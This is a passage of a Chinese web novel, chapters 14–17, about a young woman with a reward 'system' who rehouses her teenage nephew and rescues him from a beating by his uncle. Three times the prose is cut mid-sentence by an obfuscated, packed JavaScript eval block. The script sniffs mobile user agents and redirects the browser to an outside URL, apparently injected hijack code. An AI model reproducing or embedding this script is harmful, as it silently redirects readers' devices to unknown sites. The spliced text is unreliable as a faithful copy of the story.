陆季燃不知怎的又想到分别前阿婆握着他的手说的那句话。 “小陆啊，阿婆活了这么些年，虽然生的儿子不成器，眼睛也变老花，但看人还算好使。你这位小姨，是个好人，也是个贵人。你要懂得感恩，好好珍惜。” “你还小，未来的日子可长呢， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15158431|163840||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有句话你们年轻人都不爱听，但阿婆真是这么觉得。有时候，早年吃的苦头也不全都是坏事。孩子，记住这些苦，往后的日子千万要好好地过！” 陆季燃望向窗外，池又青从旁车道驶过，注意到他的目光，骄傲地笑了笑，脚下油门加码，瞬时超过他们。 “哈哈，这姑娘，脾气真有意思。”搬家师傅双手握着方向盘感慨。 陆季燃不附和，只是神色不觉轻松许多，窗外的景色熟悉到刻入DNA，过一个路口，他就能预估下个路口的状况。 他在这条道路上骑过走过无数次。 从未想到某天会以这样的方式离开。 陆季燃握着车窗控制器的把手，一点一点将面包车的窗户手动摇下来，咯吱咯吱作响。 风迫不及待地靠近，于是就连呼吸里都是自由的味道。 没一会，抵达新小区。 陆季燃东西不算多，他和师傅一块搬，只跑一趟就将东西全挪进屋里。 知道池又青行动力一绝，却没想到能有这么绝。 陆季燃走进她安排好的房屋。 客厅干净敞亮，所需品一应俱全。软装的主色调是蓝色，间或夹杂灰，简约而不简单。 往里走，卧室，书房，处处妥当，还剩个空房间，四周都贴上了吸音棉，一面墙做成了洞洞板。 陆季燃还没想明白这要拿来做什么。 池又青说：“我记得你小时候喜欢音乐，表姐也给你买过吉他，就你手上的那把Fender，还是我给你选的颜色。” 陆季燃拉紧吉他包，带子在他指尖绕紧。 “我记得我妈说，这是表姐拜托她给自己小孩买的，想送他一把喜欢的乐队的限量版吉他。就算现在用不上，以后他长大了，也能当个收藏。” “既然是收藏，那就好好珍惜。”池又青反手敲敲洞洞墙，“这上面可以做置物架，以后你有什么要收纳归整的东西，都可以往上面丢。” “啊，我差点忘了。”池又青一拍脑袋，走出房间，从客厅拿出一个纸袋，“新手机。” 陆季燃愣住。 池又青干脆把袋子塞到他手里：“换个吧，旧的要舍不得丢就留着。屏幕雪花都长满了，老这样，对眼睛不好。” 她絮絮叨叨，想到什么就说什么。 “里面还放了点现金，不知道你们学校食堂是不是要用现金充饭卡。以后每个月的生活费我都分两份给你，一份转你微信，一份发你现金。” “床铺回来之前都有专人收拾好，你再把自己带来的东西归整一下，应该就没什么问题。我先下楼收拾我的东西，有事你就找我。” “对啦。”池又青站在玄关处忽然回头，“门锁密码是你生日，0727。” “走了！” 防盗门合上，百平的空间只剩下他一人。 陆季燃看着整整齐齐堆放在一旁的行李，又看了眼没有酒气，没有烟头，没有怒吼的房间。 阳光从落地窗透过来，把客厅铺成浅淡的金色。 近年来，就连他的梦里，都尚未有过如此干净的，如此温柔的房间。上次给他同样感受的地方，还是妈妈尚在时的那个家。 陆季燃站在入户门垫上，没往里进，低头看着原木色地板上随风晃动的光影，心竟也被挠得痒痒的。原本坚固不可动摇的某处，铺上了和眼前客厅一般的羊毛地毯，松松软软，难以言喻。 14、第14章 【哇！】池又青瞧着自己的银行入账提醒，【这就是被公司报账的感觉吗？我没在做梦吧？】 052：【……没有。】 自从池又青把陆季燃带回此处，系统就已发出判定。 「叮！主线任务[校园文男主改造]-[脱离苦海]已完成！」 「任务奖励结算中！」 「……」 「核查任务开销」 「核查完毕」 「统计报销数据」 「确认报销额度为150%」 「报销金额4200000rmb已到账」 【比我预估得还多诶。】池又青反复看了三遍，【我有在这个任务里花这么多钱吗？052，你给我开小灶了？】 052极力否认：【做梦！】 池又青：【o.o】 052：【真不是我！我只是个初级系统，干预不了奖励分配，关于这次报销，都是我向上级打报告申请来的。】 池又青悟了：【看来你们领导比你会来事。】 052：【……】 420万诶。 刨去成本，她怎么也净赚140万。 池又青：【早知道我就买两栋楼了。】 052：【买来干嘛？？？】 池又青：【给陆季燃做补习大楼，这也算任务所需吧？】 052：【……】 一想到这女的真有实力干这事，052把吐槽咽回肚子。 它提醒：【宿主，还有别的奖励。】 池又青点开那个被折叠的「……」查看。 「‘改造大师’系统体验期已结束！」 「恭喜宿主完成任务！」 「任务奖励发放中……」 「当前等级lv.2，颜值+1，幸运+1，成就点+1000，总成就点：1000」 「叮！奇遇事件已更新！」 「天网恢恢，疏而不漏！警方顺着偷拍者李毅交代的线索捕获一众违法团队！命运的齿轮由此转动！数名少女的故事至此改写！」 「奇遇奖励发放中……」 「百分百认亲卡x1，24小时暴击体验卡x1，成就点+3000，总成就点：4000」 052兴奋地夸耀：【宿主，怎么样，这些奖励不错吧？】 池又青没吱声。 025得意地想：池又青啊池又青，也有你没见过世面的时候。瞧瞧，现在都高兴得说不出话了吧？ 052挥着手里的小手绢：【哎呀，宿主，这些都不算什么，等你以后再继续完成任务，这奖励——】 池又青揪住它特意化形出来的虚拟小嘴巴：【嘘！】 052：【？？？】 池又青：【脑子里突然冒出这么一串，搞得我都有点晕字。052，你别说话，等我挨着再看一遍。】 052：【………………】 系统气，系统怒，系统想换宿主的心情在此刻已到达巅峰！！ 在052尽职尽责宛若幼师的讲解下，池又青总算搞懂眼前这一长串文字的意思。 乱七八糟的加点，奇怪的垃圾小道具，都不是她在乎的。 她唯一在意的只有成就点。 按照052的说法，成就点=系统世界里的通用货币。 她可以用它兑换想要的一切。 包括妈妈的健康。 池又青眼前一亮：【052，我现在就要兑换。】 她点击系统界面里成就点小钱包后的兑换按钮，按钮为灰色，一旦触碰上去，只会弹出一个窗口。 「亲，你的等级不够，无法开启兑换功能，请升级后再来吧~」 池又青不信邪，又点击几次。 在弹窗反复跳出来几回后，池又青：【……玩我？】 052解释：【宿主，我们都是按照程序办事，成就点兑换这种高级功能，的确要等你升级后才能使用。】 池又青：【要升几级？】 052：【lv.5开启！】 还好嘛，也就差三级。 池又青松了口气，说：【我要升级，该怎么做？】 052：【完成任务！】 池又青：【好，你发任务。】 052：【发不了。】 池又青：【……？】 拳头硬了。 池又青：【几个意思？】 052委屈巴巴：【宿主，真发不了。由于目前男主对你的信任度低于30%，不满足下一个任务的发布条件，所以我没办法发布任务。】 052的虚拟形象在池又青的眼前哀怨地扫过来一个眼神：【宿主，我之前就提醒过你了，要用爱感化，注意态度，你看……】 池又青咬牙：【那算提醒？你敢不敢说得再委婉点？】 052：【人家也没办法呀！真要说明白，等于考试漏题，是违规的！】 这一刻，池又青很想回到几天前，指着自己的鼻子骂：死装货，给我温柔点啊！ 奈何世间没有后悔药，米已成炊，无力回天。 盯着系统发言里标红加粗的‘男主对你的信任度不足30%’几个字，池又青心火顿烧。 求一键提高信任度教程！ 她正琢磨要不要给人在耶鲁但充当心理学学术垃圾，并沉迷东西方神秘学玄学的损友发消息，问她有没有什么魔法仪式或者灵丹妙药…… 能让陆季燃马上对她信任度飚升的那种。 “咚，咚咚。” 一慢二快的敲门声。 池又青放下手机：“谁啊？” 陆季燃：“是我。” 池又青打开门，只露一条缝，扒着门边看他：“来得正好，问你个事。” 好严肃的语气。 陆季燃下意识挺直背：“什么事？” 池又青：“你相信我吗？” 这算什么问题？陆季燃皱眉，点点头，嗯了一声。 池又青看着毫无信任度变化提示的系统界面。 呵呵。 她就知道！ 男人的嘴，骗人的鬼！ 不管十六还是六十，都是这样！ 她盯着陆季燃，恨不得自己的眼睛是抓猪毛的镊子，一眼扫过去就把陆季燃身上的防备小刺给唰唰扯掉。 你小子，多给点信任度怎么了！ 现在这样，任由信任度卡在30的边缘不上不下，搞得人很恼火啊！ 她长得很像狼外婆吗？！为什么不信任她！！ 池又青眼睛里冒出来的火烤得陆季燃极为不自在。 他退后一步，说：“池又青。” 小姨也不喊，狗东西。 就因为这信任度才不达标吧？ 池又青暗自磨牙：“干嘛？” 陆季燃汇报一样说：“我东西整理完了。” 池又青：“喔。” 陆季燃：“……” 池又青：“……？” 陆季燃在大眼瞪小眼的游戏里认输，无可奈何地说明来意：“我看见你东西很多。” 他和搬家师傅后到，来的时候，已经有一批衣着套装，训练有素的搬家人员把写满外文的快递纸箱抱上楼。 就在他住的屋子楼下。 池又青懂了：“你想帮我？” 心思被戳破，陆季燃有些别扭，说：“不需要就算了。” 他扭头要走。 池又青一把打开门，将他揪住：“送上门的搬箱小肥羊，哪有不要的道理？需要，特别需要。” 门大敞开，陆季燃看见屋里的情况。 二三十个箱子堆在屋里，积木一样，码得整整齐齐。 每个箱子外面还缠着数圈透明防震膜，膜的表面反光，刺得陆季燃眼花。 陆季燃没说话，但眼神里的质疑和震惊已经吵到池又青的耳朵。 池又青很不解：“多吗？” 她就事论事：“我只从家里拿了一点过来诶。” 陆季燃：“……” 这岂止是多？他感觉自己十六年的人生用过的所有东西都能被打包进去。 他叹口气，问：“我现在拆？” 池又青：“好啊好啊，喏，剪刀和小刀，用哪个都行。” 陆季燃拿起剪刀，走到高高的纸箱边，抬手把最上面的箱子抱下来放在客厅为数不多的空地上。 池又青见他干活，微微扬眉，挂断了她从省城请过来的家居收纳师的电话。 youqing：姐妹，我这忽然有善人帮忙，你可以晚点过来。 瑶瑶-收纳师：好的小姐姐~我正要跟你说呢，今天有点意外，我爸妈来我家了，可能得晚点过来了，实在不好意思啊！ youqing：明天来也可以。 瑶瑶-收纳师：好的好的，那我把高铁改签，明天再过来！ （youqing向瑶瑶-收纳师转账200） youqing：改签费，辛苦。 池又青收起手机，抬头看，陆季燃已经麻溜地拆好七八个箱子，全都排排坐吃果果似的挨在一块。 滋啦—— 陆季燃又拆一个。 果然，还是衣服。 他抬头看向站在一旁的女人，非常不解：“你准备开淘宝店？” 池又青：“？？？” 陆季燃往箱子里看：“……这些衣服。” 池又青理所当然：“我穿啊。” 陆季燃：“？？？” 他盯着面前箱子里除了颜色不一样外几乎没区别的针织衫。 这人是欢天喜地七仙女下凡吗？一个衣服要这么多颜色。 池又青丢给他一个‘你不懂’的眼神：“百搭单品当然要什么色都入，这几个饱和度和明度都不高，跟我很搭。” 陆季燃没话说。 他继续埋头拆箱。 又抱好几个箱子下来，一瓶款泉水忽然递过来。 池又青：“给你。” 陆季燃：“谢谢。” 他是有点渴。 接过准备拧，瓶盖却很丝滑，一转就开。他动作微顿。 又过半小时。 拢共二十七个箱子拆完，池又青挨着腾出来，他就把空的箱子拿去一边，折叠收好，又踩到一块，扯了根没用的绳子捆住。 私人物品都被池又青腾去衣帽间和卧室，剩下的都是她精心挑选的公共区摆件与小家电。 “陆季燃，歪了歪了，左边，左边，好好好，再往上一点！” 池又青站在沙发边，看着陆季燃站着椅子上，把画挂好。 一张小狗的油画。 忙完客厅，就该归整用餐区。 胡桃木餐桌旁的立柜上，池又青摆上米白咖啡机，老式的胶片播放器放在不远处，复古墨绿色的圆形立钟可可爱爱地驻扎在墙上。 陆季燃挂好池又青特地寄过来，据说是设计师定制款的绿色吊灯，沉默地望着四周。 这个奇怪的女人好像有一种奇怪的魔力。 有她在地方，再无趣的空间也会沾上生机。 15.第15章 瞧着眼前收拾完毕的房间，池又青拍拍掌心的灰，满意点头：“完美！” 她扯出湿巾，自己反复擦拭后，又扯一张新的，递给陆季燃：“擦擦。” 陆季燃迟疑了下，伸手接过。湿巾自带的白桃味的清香一下也萦绕上他的指尖。 池又青的小脑瓜还在盘算：“唔，过两天得约个木工，把这柜子改改，还有那边的灯也要换掉……” 她是如此认真。 陆季燃把用过的湿巾攥紧，学她一样丢进旁边空出来的小纸箱中，不明白地问：“不是待不长吗？为什么还要弄这些。” 池又青正致力于把雕塑小摆件挪换到天选位置，没回头，说：“人生不过三万天，现在有条件，又不是山头沟里，我有钱有时间，当然要对自己好一点啦！” 反复把雕塑调整几遍，池又青终于心满意足。 尽管陆季燃并看不出来这几次位置调整有什么区别。 拍照好几张发给朋友欣赏新家后，池又青转身对陆季燃说：“小陆同学，辛苦啦！作为今天你特意来帮忙的答谢，我们出去吃大餐？怎么样哇？” 陆季燃纠正：“不是特意。” “我只是正好下楼，路过。” 池又青腹诽：有电梯直达楼下不坐，你走楼梯路过？ “嗯嗯。”她笑眯眯，没戳破十六岁少年的小别扭。 女人的眼底有不可忽视的光点，就像外面的太阳一样带着暖意：“所以，要一起吃饭吗？” 陆季燃无法直视太阳，移开目光，说：“……可以，吃什么？” 这真问住池又青了。 作为一个有事绝不内耗，主打干就完了的射手座，池又青唯一常常纠结不定的事只有一件： ——今天到底吃什么？ 有食欲的时候，看啥都想吃，所以挑不出来。 没食欲的时候，啥也不想吃，更加挑不出来。 所以她格外佩服每位在家煮饭菜式不重叠的人类，都是奇人。 她连一日三餐都想不明白！ 怀念家里阿姨了，也不知道在江城能不能挑个心水的阿姨在家帮忙。 见池又青面如菜色，当真冥思苦想起来，陆季燃没有说话。 他安静地等了会，等来池又青问：“小燃子，推荐一个呗。” 陆季燃的眉头挤得能夹死蚊子，非常在意刚刚不经意钻进耳朵里的三个字，问：“你叫我什么？” 池又青半分不惧他的表情，从一开始就没惧过。她歪理很多，头头是道地说：“喊你侄子又不乐意，陆季燃又太生分，没办法，我就灵机一动，想出这个昵称。怎么样？可爱吗？” 陆季燃一字一句强调自己的态度：“不、可、爱！” 池又青笑脸依旧：“好的，小燃子。” 陆季燃呼吸一停：“…………” 他怀疑，跟池又青待久了，他极有可能英年早逝。 池又青前胸贴后背，倒在沙发上，抱着枕头催促：“好饿好饿，小燃子，快推荐一下，等会吃什么？” “不！准！这样叫我！”陆季燃炸掉，凶巴巴地回。却还是乖乖拿出手机，噼里啪啦发了串消息，很快有回复。 他语气不耐烦地照着念，自动省略了袁源的语气助词，只读关键：“你想吃辣还是不辣？辣的有火锅麻辣烫冒菜，不辣的有三蒸菌汤煲饭。” 池又青想了半天，说：“火锅！” 她今儿火气大，得吃点辣冲冲。 做出这个重大决定后，池又青看向陆季燃手中。 他没用自己给的新手机，破烂的屏幕上依旧满是雪花。 哎，这小孩。 池又青没追问，起身拎包，带着陆季燃往火锅店去。 很快，她后悔了。 池又青坐在火锅店，看见红油锅沸腾冒泡，嘀咕嘀咕。新下的羊肉卷一烫就熟，卷成好吃的模样，飘在锅中，用心地诱惑她将自己食用。 碗底调料扎实，切碎的小葱与香菜整整齐齐铺上，一口下去，全是味蕾爆炸的满足。 如果不是锅的对面坐着个拽脸男高，吃饭时一句话不说，只知道低头看那破手机，时不时拿起来回个消息，她这顿火锅一定吃得更加尽兴。 说好的饭桌适合谈事呢，她和陆季燃这顿饭都快吃一半，怎么啥都没谈上，怎么信任度一点都没推进？！ 店内来往的人随时围过来的好奇眼神，一刻不停的窃窃私语，弄得池又青有点无奈。 对面桌来过生日的青春女孩，眼神不住飘过来，停在陆季燃身上，激动的身子挤靠在一起。 陆季燃浑然未觉，背对她们，左单手打字回消息，右手拿起饮料杯喝了口豆奶，余光还在往屏幕上瞧。 “啊啊啊，你看那个桌，好帅好帅的酷哥！” “卧槽苦学一周出门遇到这种帅哥是我应得的！！” “去要个联系方式呗？机不再失，失不再来！我们学校可没有这种极品！” “呜呜呜我不好意思！嘘——你小声点！万一他听见！” 池又青夹起羊肉卷，放进碗里裹料，神游天外地想着：啊，已经听见了。 她小时候也跟姐妹这样讨论过偶然遇到的男孩，唯一的区别是，池又青眼光极挑，很少对谁产生兴趣。 但由于她脸皮极厚，有种死猪不怕开水烫的自在，姐妹们看上却不敢要联系方式的男人，都是她平A上前。 现在好姐妹们各个身经百战，对男人的态度也变化万千。她们再也不会有和以前一样，什么都不知道，看见街对面走过来的男孩，脑子里就自动补完一生剧情，要和对方跌宕起伏深爱一场的时刻。 也不会和对面桌的女孩们一样，凑在一块，任由青涩的心动蔓延。 这么多年过去，那些被池又青要过联系方式的男性，她已经毫无印象。 但她永远记得老友当时羞赧的表情，靠过来的肩膀，一分钟八百次的小动作，满脑子的幻想小剧场，以及起起伏伏伏伏又起的那份小勇气。 还有几个人挤在被窝里说悄悄话，每天煲电话粥的小快乐。 糟糕，居然开始回忆青春。 池又青对自己的年纪又多几分实感。 她面无表情地把羊肉送进嘴里，抬眸的时候，一不小心跟那桌热闹兴奋的小女孩对上眼。 两方沉默时，池又青率先回以 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15173262|163840||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一个温和的笑容。 然后，她看见女孩们表情凝固一瞬。 “啊啊啊啊啊啊——” “被发现了被发现了！！！” “卧槽卧槽刚刚都没注意看！！这个一直埋头吃的姐姐也好漂亮！！！” “你说我能不能要她的联系方式啊？不敢想如果我每天在朋友圈刷到美女的照片我会是个多么幸福的小女孩……啊啊！” 池又青听着这叽叽喳喳的对话，乐得直摇头。 对面的陆季燃察觉她的反应，蹙眉，眼神从手机上挪起来，问：“怎么了？” 池又青看见他这张臭脸来气：“没事。” 男高一点都没女高可爱！ 硬邦邦的，像个石头！ 香还得是女宝香啊——！ 陆季燃浑然不知对面的女人已经谴责到他爹携带的Y染色体，哦了一声，看了眼快被清空的锅，放下手机，把小推车上剩余的菜挨着往里放。 对面桌的穿连衣裙的女生终于鼓起勇气，在朋友的推搡下一步三回头地走过来。 池又青眨眨眼，心想，来了。 不愧是原著里的校园文男主，吃个火锅都有剧情。 她也有亲眼目睹青春偶像剧的一天！ 女生红着脸，脸圆圆的像苹果，端着两份切好的草莓生日蛋糕：“那个，打扰下。今天是我生日，这个！给你们！” 陆季燃正站着往锅里下菜，公筷抵住迫不及待想要往锅里跳的土豆片，看都没看一眼。生人勿近的气息又冰箱散冷气一般弥漫得到处都是。 瞧女生尴尬得不知所措，池又青忙说：“谢谢。” 接过她手里的蛋糕：“我和侄子吃一份就够啦！生日快乐！” 女生泛红的眼睛漫出几分笑意：“嗯！姐姐，祝你也快乐！” 小苹果回自己桌，屁股刚一沾上板凳，就被身边的朋友围着问话。 池又青低头瞧着面前的蛋糕，草莓饱满个头大，躺在绵软的奶油上。 她问陆季燃：“吃吗？” 陆季燃摇头。 池又青戳着蛋糕：“你经常遇到这种事？” 陆季燃：“一般。” 池又青呵呵一笑。 装，死小子，继续装。 她把草莓咬进嘴里，挺甜，味道是不错。察觉到对面桌的目光，她挥手回应，又换来一片女孩的尖叫。 真可爱。 陆季燃把火稍稍关小，看见池又青眼里散不开的笑意。她专心吃蛋糕，就连锅里的土豆已经煮软煮糯都没发现。 池又青捕捉到他不停看过来的眼神，忙护住蛋糕：“你自己说不吃的。” 陆季燃：“……谁稀罕。” 池又青哼了一声，叉着覆满奶油的水果夹层放进嘴里。 陆季燃手机忽然响起，他看了眼，眉头锁死。 池又青：“谁啊？” 陆季燃挂断，语气算不上好：“没谁。” 电话又响。 震动几下，估计是对方发来短信。 陆季燃扫了眼，攥紧拳，终于坐不住，满脸不快，唰地起身，对池又青说：“你先吃，我出去下。” 16.第16章 陆季燃走后，池又青专心啃蛋糕。 对面桌的小苹果时不时往她这看，像只胆怯的小松鼠，一旦和她的目光接触上，就立刻心虚地移开。 池又青感慨地想，小女孩的心思可真可爱。 啃完蛋糕又想到什么，从随身携带的小包里摸出本子和笔，涂涂画画起来。 眼前的锅已经关火，剩余的菜没下，摆在一旁，池又青还等着陆季燃回来一块吃。喧闹嘈杂的火锅店里，池又青半点不受影响，聆听着纸笔摩擦后发出的沙沙细响。 052急切地冒出来：【宿主宿主，你都不好奇吗！是谁这个点给男主打电话！】 池又青画画的动作一顿，警惕：【不好奇，你闭嘴，一个字也不准说！我是不会花成就点买情报的！】 自这倒霉系统结束试用期后，池又青发现，让系统干点啥都得花成就点付钱。 解锁人物相关信息要花钱。 池又青记得这条。 她的成就点都是拿来救老妈的，才不会花在这些事上！ 052之前粗略给她算过。 要想让她妈彻底恢复健康，她起码要花将近四十万的成就点去换…… 四十万啊！！ 看着自己只有4000的余额。 她这辈子就没觉得自己这么穷过。 在现实世界里挥金如土的池又青终于于系统这懂得什么叫爱财如命，分斤掰两，一毛恨不得按五毛花。 她现在可太穷了！ 所以，除了她妈，谁都别想在她这薅走一丢成就点！！ 谁！都！别！想！ 052没料到她有这么大反应，试探着说：【真不想知道？我给你打折！原价100成就点，现在五折！不！一折！】 池又青心冷如冰：【不！不买！】 这下轮到052着急：【你怎么能不买呢？你买一下啊！】 池又青：【咋？过了试用期，你们系统还要强买强卖？】 052听出她语气里的阴阳：【……】 眼看陆季燃的事态发展得有点失控，052急得跳乱码。 它一咬牙：【不收你钱！我自费！】 池又青：【行叭，那我就勉强听一下。】 052叽里呱啦说了一堆，池又青手里的笔一下摔在桌上。 端菜路过的服务员忙问：“小姐，请问是菜品哪里有问题吗？” 池又青：“没事。” 她麻溜地收拾东西拎包往外走，在脑海里对052破口大骂：【你说你，好好一个系统，怎么能捅那么大的篓子？！】 052也委屈：【我没想到试用期取消，也会把之前的操作取消……都怪我，这应该属于违规操作，被判定取消了。】 池又青无语：【是怪你啊。但凡你当时别那么抠，让我花自己的钱给董旭打二十万呢？现在哪有这些事！】 【非要搞什么骚操作，捏串数据作伪装。现在倒好，事没办成，他发现取出来放家里的二十万凭空消失，这不得发疯才怪？】 【陆季燃也是！他傻吗？董旭打个电话让他过去就过去？这小子什么时候这么听话了？！】 052不敢说话，只能当哑巴。 气归气，池又青行动比谁都快，心焦如焚，对前台喊：“47桌买单！” 前台应：“小姐姐，你们已经买过了呀。和你一起来的小伙子买过了。啊！对了！今天有满一百送礼品活动！这是你们的礼物！” 池又青忙接过道谢，把刚刚画的东西从本子上撕下来，递给前台，叮嘱她交代送蛋糕那桌的过生女孩，替她们买好单，这才匆匆离开。 开车往吉安小区飚，马达轰鸣震彻四周。 她双手紧攥方向盘，一脚踩稳油门，在心里一遍一遍默念： 陆季燃，你千万千万要撑住啊。 * 吉安小区。 夜色深重，七层高的老旧楼房入住率极高，家家户户都亮着灯。但与往日不同的是，今天这小区里，就连院落里都格外热闹。 以前这个点，就连玩耍的小屁孩都已回家，跳舞唱歌的大爷大妈也结束活动。 今天，大家伙却齐齐跑了出来，还有人捧着瓜子，站在楼上开窗看戏。 二单元的董旭家出贼了！ 偷钱的还是自家人！ 现在正把那孩子按在院子里摁着打呢！ “他这侄子刚搬过来的时候我就说过，没点礼貌，天生坏种，迟早要出事！”穿着花睡裤下来看热闹的明明奶奶嚼着舌根，“你看！这下不就偷钱了吗！” 有位女子看不下去：“明明奶奶，这话也不能这么说啊！不管出了什么事，也不能这样打孩子啊……” 她想要上前帮忙，却被自家老公拽住手臂，老公满脸漠然：“人家教育自家孩子，关你什么事？女人就是爱管闲事。” 同单元二楼跟陆季燃相熟的阿婆抱着怀里被吓得汪汪大哭的小孙女，哀痛地喊：“住手啊！住手啊！小陆不会干偷钱这种事的！住手啊！” 明明奶奶嗤了一声：“沈阿婆，你又懂什么？别看这小子每天假模假样帮你捡几个瓶子，他在外面，可是天天打架抽烟呢！初中就差点被退学好几次！这种人！呸！要是不好好教训，未来就是社会毒瘤！” 陆季燃听着这些，习以为常，眼神黯淡。 他一来，还没上楼，就被抽了一地烟头，凶恶地蹲守在单元口的董旭摁在地上揍。 董旭发了狠，说肯定是他趁着下午搬家的时候把钱偷走，非要他把钱交出来，不然就去找池又青的麻烦。 他根本不知道有什么钱，又哪知道钱在哪？ 他拼命反抗几下，却起效甚微。 上次的伤还没好完，一发力就疼得厉害。 不久前才漫过他全身的绝望又扑过来，在嘈然的声响中悄无声息地淹没过他的口鼻。 先前坐搬家汽车经过大桥时，他才感慨自己居然会以这种方式离开…… 现在，陆季燃发现，他根本离不开。 他的生活就是一潭泥沼，每当他外走一步时，就会有双无形的大手，拽着他继续往泥里去。 陆季燃万念俱灰，想着，干脆就这样让董旭打吧，打死算了，一了百了。 他正等着董旭的拳头落下，就听他痛叫一声，周围的看客 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15175606|163840||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 发出诧异的惊呼。 董旭竟然莫名摔了个大跟头！ 整个人像被什么奇怪的东西击飞，从原地往后弹了几米，屁股一下着地，疼得他龇牙咧嘴。 他恼怒地吼：“谁！谁在捣鬼！” 又看到什么，惊讶道：“池、池老板！” 听到这声喊，陆季燃愣了愣，移开护着脑袋的小臂，抬头去看。 她怎么来了？ 接到董旭电话，怕他如言威胁上池又青，陆季燃这才跑到吉安小区来和他交涉。为的就是不想把池又青牵扯进来，哪知道…… 池又青身形很薄，冷着一张脸从围起来的人群中穿过，看到没看董旭一眼，走过来，在他面前蹲下。 池又青：“还能站起来吗？” 她的声音就像是定海神针，一下把陆季燃心中翻涌的思绪稳住。 陆季燃没说话，呆呆地看着她：“你怎么会——” 池又青朝他伸手：“先站起来，别的待会再说。” 女人的手纤细，指节就和葱白一样，在这四周的围剿之下，显得如此孤立脆弱，却又如此有力，是不断往下深陷的泥沼里唯一的救星。 她的眸光是从初见就未有动摇过的相信。澄澈又明亮，没有怀疑，没有犹豫。 陆季燃咬紧牙，搭上她的手，借力站起来。 池又青扶着他的肩膀，把他搀住，领着他往外走。 他被打得很严重，身子因为疼痛而下意识蜷曲，再也没之前池又青见过的又冷又拽的酷哥劲。 她眸色一暗。 董旭见状，忙边从地上爬起来，尾椎骨却好像摔断，疼得他站不稳，只能咬牙强撑着，又大喊：“池老板！你干什么！不能带他走！” 明明奶奶也跟着说：“唷，小姑娘！你就是买走这小子的那个大老板吧？你可能还搞不清状况哦，这小子，可是个家贼！偷了自己舅舅的钱！” 明明奶奶：“你要是把他带走，可得小心点咯~也不知道什么时候，你家也会遭贼！” 陆季燃立刻看向池又青：“我没有。” 他也不知道为什么。 明明刚刚被揍成那样也懒得解释。但在池又青面前，他不想让她误会。 他一字一顿地说：“他的钱，我没拿。” 董旭气得撸起袖子：“他妈的，你撒谎！不是你还能是谁！家里门锁一点被撬过的痕迹都没！除了你，还有谁！难不成那钱自己长腿飞走了吗！” 明明奶奶跟着附和：“就是就是！小小年纪，不学好！净干脏事！” 陆季燃攥紧拳，怒意中烧，被误会的烦躁和委屈让他心里极为不痛快。 肩头忽有重量，他怔住，偏头去看，池又青纤细的手搭在他的肩上，明明没什么特别的，却好似一针强心剂，一下稳住他的心神。 再望去，池又青已挪开步子，站在他的身前。 好奇怪。 这个一贯在他面前不着调的女人。 此刻细挑的背影，却莫名有让人安心的力量。 池又青眼刀一横，先甩董旭身上，声音掷地有声：“他说他没拿，怎么，你耳朵是摆设？没听见吗？” 17-20 第17章 第17章请不要把这些告诉我小姨。…… 池又青的到来让董旭有点慌，忙说：“池小姐！你不懂！你才刚刚认识他！不了解他！别看他长得人模人样，实际上，我这个侄子，是个实打实的混小子！什么偷鸡摸狗的事都干过的啊！” 池又青明晃晃地嘲弄着：“我问你这些了吗？谁在乎你的意见？” 又转头看着刚刚一直在叽叽哇哇的老女人，语气诚挚，非常不解：“这事跟你有关系吗？你就在这指手画脚？怎么着，你是董旭家里的蟑螂，还是事发的时候在现场？现在什么状况，你又很清楚了？” 目光瞄到一直被这老女人牵在手里的小男孩。 是那个叫明明的，在楼下拿石头砸池又青的熊孩子。 当时，他嘴里一口一个，我阿婆说他是坏人。 原来阿婆就是这么个东西。 池又青嗤笑一声：“搞半天，是小杂种家的老杂种啊？” 池又青的话尖锐至极，围观的居民里有人扑哧笑出声。 明明奶奶瞪眼，浑浊的眼珠子快要掉出来，声音刺耳得像指甲刮过黑板：“你说谁是杂种！” 池又青态度淡淡：“谁应说谁。” 明明奶奶怒得喘不匀气。 池又青作好心相劝状：“大婶，一把年纪了。我要是你，与其操心别人家的事，不如花心思琢磨琢磨到底该怎么管教小孩。不然，等他长大后成为社会毒瘤，说不定什么时候就被人两刀割了。” 明明奶奶简直被气到，搂住自己的宝贝小心肝孙子，对着池又青骂：“贱人！你胡说八道什么！” 这点词句对池又青来说毫无攻击性，只说：“你不如摸摸你家孙子的裤兜，看看里面有没有五块钱。” 明明奶奶狐疑着伸手去摸，明明立刻要跑，被奶奶拽住，粗糙带皲裂的手往他兜里一掏，手里的纸钞眼熟得很，这分明就是她藏在枕头下的碎钱。 都是平日里买菜找零剩下的，她从儿子给的生活费里抠出来的。 她先前还奇怪怎么老对不上数，怀疑是自己弄丢，成天在家里翻来覆去地找。明明就坐在沙发上看动画片，问他有没有看见奶奶的钱，他只说不知道。 结果……？！ 